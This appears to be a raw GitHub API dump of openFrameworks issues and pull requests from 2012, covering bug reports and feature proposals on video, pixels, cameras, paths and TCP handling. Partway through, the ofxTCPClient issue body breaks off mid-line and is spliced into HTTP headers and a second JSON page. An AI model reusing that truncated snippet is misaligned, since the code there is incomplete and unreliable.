This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"assignee":null,"closed_at":null,"title":"Add .mailmap for contributor collation","labels":[],"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262"},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"assignee":null,"closed_at":null,"title":"allow float volume on ofVideoPlayer","labels":[],"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260"},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"assignee":null,"closed_at":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257"},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"assignee":null,"closed_at":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256"},{"updated_at":"2012-05-16T09:35:07Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1254","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1254,"assignee":null,"closed_at":null,"title":"Adding ofClear(ofColor c) just a detail","labels":[],"created_at":"2012-05-12T19:15:59Z","state":"open","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","id":346914},"id":4548835,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1254.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1254.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1254"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1254"},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"assignee":null,"closed_at":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252"},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"assignee":null,"closed_at":null,"title":"Bugfix of to data path","labels":[],"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251"},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":16,"open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"assignee":null,"closed_at":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250"},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t if(messageSize==0){\n\t\t\t\t\t\tclose();\n\t\t\t }\n\t\t\t //TCPClient.Receive is return -1....\n\t\t\t else if(messageSize < 0){ \n\t\t\t\t\t\ttmpBuff[0] = 0;\n\t\t\t }\n\t\t\t else if(messageSize; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"21c33fd6632c4b3cd659410979a9c609"'), ('date', 'Tue, 29 May 2012 06:43:35 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-18T21:52:52Z","body":"I completely rewrote ofEasyCam as it was working in some weird ways when the target was changed.\r\nNow the maths are much simpler and tidier.\r\nI also changed the way it is used.\r\nNow by pressing the dragging the mouse with the left button the camera rotates around the target. when doing so with the right button the camera rotates around it's local z axis.\r\n\r\nWhen the 'm' key is pressed, dragging the mouse with the left button will move the camera over it's local X an Y axes. Using the right button will move the camera over it's local z axis, making it \"zoom\" in or out.\r\n\r\nIn my initial implementation I checked if the mouse was inside a circle of radius min(ofGetWith, ofGetHeight) centered at the middle of the viewport, if it was inside the X and Y rotation was applied, else the Z rotation, thus leaving the second button free to use \"zoom\" in or out.\r\nI finally decided to leave out this way of use opting for the one that I'm commiting.\r\nIf anyone of you thinks that my initial implementation would be better I can pull it.\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1227","comments":24,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1227,"assignee":null,"closed_at":null,"title":"Rewritten ofEasyCam + minor fixes to ofNode","labels":[],"created_at":"2012-04-30T03:15:12Z","state":"open","user":{"url":"https://api.github.com/users/roymacdonald","gravatar_id":"fe632ca3d0c42747cfef88a95d942c4a","avatar_url":"https://secure.gravatar.com/avatar/fe632ca3d0c42747cfef88a95d942c4a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"roymacdonald","id":974878},"id":4345219,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1227.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1227.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1227"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1227"},{"updated_at":"2012-05-16T09:27:47Z","body":"I find that I'm using rectangles with rounded corners quiet often and seems like a fairly simple addition.\r\nAn example of using this is as follows:\r\n\r\n ofSetPolyMode(OF_POLY_WINDING_ODD);\r\n ofSetLineWidth(1.5);\r\n ofEnableSmoothing();\r\n ofNoFill();\r\n ofSetHexColor(0x000000);\r\n ofRoundedRect(630,520,80,60,9);\r\n ofDisableSmoothing();\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1223","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1223,"assignee":null,"closed_at":null,"title":"Feature of rounded rect","labels":[],"created_at":"2012-04-27T06:35:58Z","state":"open","user":{"url":"https://api.github.com/users/lawarner","gravatar_id":"030dc27a9e68781f8c0090d2adc5312e","avatar_url":"https://secure.gravatar.com/avatar/030dc27a9e68781f8c0090d2adc5312e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"lawarner","id":1479237},"id":4317009,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1223.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1223.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1223"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1223"},{"updated_at":"2012-05-16T09:27:12Z","body":"Updated ofQuickTimePlayer to properly handle videos with an alpha channel. This uses the setPixelFormat() method, so all you need to do is:\r\n```\r\nmyVideoPlayer.setPixelFormat(OF_PIXELS_RGBA);\r\nmyVideoPlayer.loadMovie(\"path/to/movie.mov\");\t\r\nmyVideoPlayer.play();\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1218","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1218,"assignee":null,"closed_at":null,"title":"ofQuickTimePlayer with alpha","labels":[],"created_at":"2012-04-25T18:48:41Z","state":"open","user":{"url":"https://api.github.com/users/prisonerjohn","gravatar_id":"b52cabeecffe4497699db813a715456f","avatar_url":"https://secure.gravatar.com/avatar/b52cabeecffe4497699db813a715456f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"prisonerjohn","id":119702},"id":4286936,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1218.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1218.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1218"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1218"},{"updated_at":"2012-04-30T19:43:55Z","body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1217,"assignee":null,"closed_at":null,"title":"projectGenerator update doesn't respect existing project settings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"created_at":"2012-04-24T21:03:44Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4269431,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1217"},{"updated_at":"2012-05-02T10:19:07Z","body":"Since I don't want to derail #484 further, this issue deals with the implementation of a deprecation mechanism.\r\nBased on [this](http://stackoverflow.com/questions/295120/c-mark-as-deprecated), I made an OFDEPRECATED preproc macro.\r\n\r\nQUESTION: How do I correctly #ifdef for MacOS/XCode4/llvm?\r\n\r\nCould people test this on different platforms? On linux this works. \r\n\r\n\t\ttestApp.h:\r\n\r\n\t\t#pragma once\r\n\r\n\t\t#ifdef __GNUC__\r\n\t\t// maybe __clang__ for checking against llvm/xcode4?\r\n\t\t#define OFDEPRECATED(message, func) func __attribute__ ((deprecated(message)))\r\n\t\t#elif defined(_MSC_VER)\r\n\t\t#define OFDEPRECATED(message, func) __declspec(deprecated(message)) func\r\n\t\t#else\r\n\t\t#pragma message(\"WARNING: You need to implement DEPRECATED for this compiler\")\r\n\t\t#define OFDEPRECATED(message, func) func\r\n\t\t#endif\r\n\r\n\t\tand \r\n\r\n\t\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\r\n\t\t\t\tOFDEPRECATED(\"This is an old function, don't use!\", void deprecatedFunction(void));\r\n\t\t\t\tOFDEPRECATED(\"Obsolete type, use T2!\", typedef int T1);\r\n\t\t\t\ttypedef int T2;\r\n\t\t\t\tOFDEPRECATED(\"This is an old variable, don't use!\", int oldvar3);\r\n\t\t\t\t//This breaks a bit cause it's used in the constructor of testApp, so always triggers.\r\n\r\n\t\t};\r\n\t\tOFDEPRECATED(\"old class!\", class oldClass {\r\n\t\t\tpublic:\r\n\t\t\t\toldClass();\r\n\t\t\t\tvirtual ~oldClass();\r\n\t\t});\r\n\r\n\t\ttestApp.cpp:\r\n\r\n\t\tvoid testApp::setup(){\r\n\t\t\tOFDEPRECATED(\"old string. Don't use\", string oldstring);\r\n\t\t\t// Uncomment these to trigger deprecation warnings\r\n\t\t//\tdeprecatedFunction();\r\n\t\t//\tT1 t1object = 5;\r\n\t\t//\toldstring = \"bla\";\r\n\t\t//\toldvar3=5;\r\n\t\t//\toldClass bla;\r\n\t\t}\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1216","comments":11,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1216,"assignee":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"closed_at":null,"title":"Implement deprecation mechanism","labels":[],"created_at":"2012-04-24T21:03:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4269429,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/1216"},{"updated_at":"2012-04-30T19:43:14Z","body":"When using PG's 'update' functionality on apps are in paths with non-standard depths (in my case, `oF/apps/dir/subdir/subsubdir`) the OF_PATH and #include directives in the resulting Project.xcconfig don't match, which means oF projects won't compile:\r\n\r\n~~~~\r\n//THE PATH TO THE ROOT OF OUR OF PATH RELATIVE TO THIS PROJECT.\r\n//THIS NEEDS TO BE DEFINED BEFORE CoreOF.xcconfig IS INCLUDED\r\nOF_PATH = ../../../..\r\n\r\n//THIS HAS ALL THE HEADER AND LIBS FOR OF CORE\r\n#include \"../../../../../libs/openFrameworksCompiled/project/osx/CoreOF.xcconfig\"\r\n~~~~\r\n\r\nNote extra `../` in the `#include` path.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":1215,"assignee":null,"closed_at":null,"title":"projectGenerator sets incorrect path in Project.xcconfig","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project 